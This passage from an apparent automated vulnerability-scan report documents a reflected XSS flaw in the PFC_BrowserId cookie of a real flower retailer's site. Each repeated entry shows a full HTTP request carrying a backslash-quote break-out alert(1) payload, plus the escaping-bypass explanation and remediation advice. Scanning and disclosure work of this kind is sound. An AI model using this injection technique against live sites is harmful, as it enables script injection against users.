Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /fruit-clubs-clb HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d114d1\"%3balert(1)//3c103cdb413; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:20 GMT Connection: close Content-Length: 76017
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c04c\"%3balert(1)//a279edfe1f0 was submitted in the PFC_BrowserId cookie. This input was echoed as 4c04c\\";alert(1)//a279edfe1f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /funeral-flowers-fnr HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d4c04c\"%3balert(1)//a279edfe1f0; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:42 GMT Connection: close Content-Length: 241884
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e4cb\"%3balert(1)//8ae943ed6c was submitted in the PFC_BrowserId cookie. This input was echoed as 7e4cb\\";alert(1)//8ae943ed6c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /get-well-flowers-get HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d7e4cb\"%3balert(1)//8ae943ed6c; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:24 GMT Connection: close Content-Length: 198689
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66561\"%3balert(1)//5b745c042c2 was submitted in the PFC_BrowserId cookie. This input was echoed as 66561\\";alert(1)//5b745c042c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /gfbu-bestsellers-bst HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d66561\"%3balert(1)//5b745c042c2; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:12 GMT Connection: close Content-Length: 229170
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b241\"%3balert(1)//cca74d5db59 was submitted in the PFC_BrowserId cookie. This input was echoed as 9b241\\";alert(1)//cca74d5db59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /gift-baskets-gft HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d9b241\"%3balert(1)//cca74d5db59; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:27 GMT Connection: close Content-Length: 296301
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2af93\"%3balert(1)//b089955503a was submitted in the PFC_BrowserId cookie. This input was echoed as 2af93\\";alert(1)//b089955503a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /gourmet-christmas-baskets-cgm HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d2af93\"%3balert(1)//b089955503a; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:44 GMT Connection: close Content-Length: 285814
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee519\"%3balert(1)//8d6971ee843 was submitted in the PFC_BrowserId cookie. This input was echoed as ee519\\";alert(1)//8d6971ee843 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /green-plants-pgr HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dee519\"%3balert(1)//8d6971ee843; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:50 GMT Connection: close Content-Length: 106583
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0777\"%3balert(1)//a81eac789c2 was submitted in the PFC_BrowserId cookie. This input was echoed as e0777\\";alert(1)//a81eac789c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /house-plants-pbs HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0de0777\"%3balert(1)//a81eac789c2; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:11 GMT Connection: close Content-Length: 205569
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1178e\"%3balert(1)//f372b0d1d8b was submitted in the PFC_BrowserId cookie. This input was echoed as 1178e\\";alert(1)//f372b0d1d8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /housewarming-flowers-hwg HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d1178e\"%3balert(1)//f372b0d1d8b; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:29 GMT Connection: close Content-Length: 231313
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ceb23\"%3balert(1)//a68d548fbc0 was submitted in the PFC_BrowserId cookie. This input was echoed as ceb23\\";alert(1)//a68d548fbc0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /iris-flowers-iri HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0dceb23\"%3balert(1)//a68d548fbc0; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:53 GMT Connection: close Content-Length: 85856
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15603\"%3balert(1)//3650855588d was submitted in the PFC_BrowserId cookie. This input was echoed as 15603\\";alert(1)//3650855588d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /just-because-gifts-jbe HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d15603\"%3balert(1)//3650855588d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
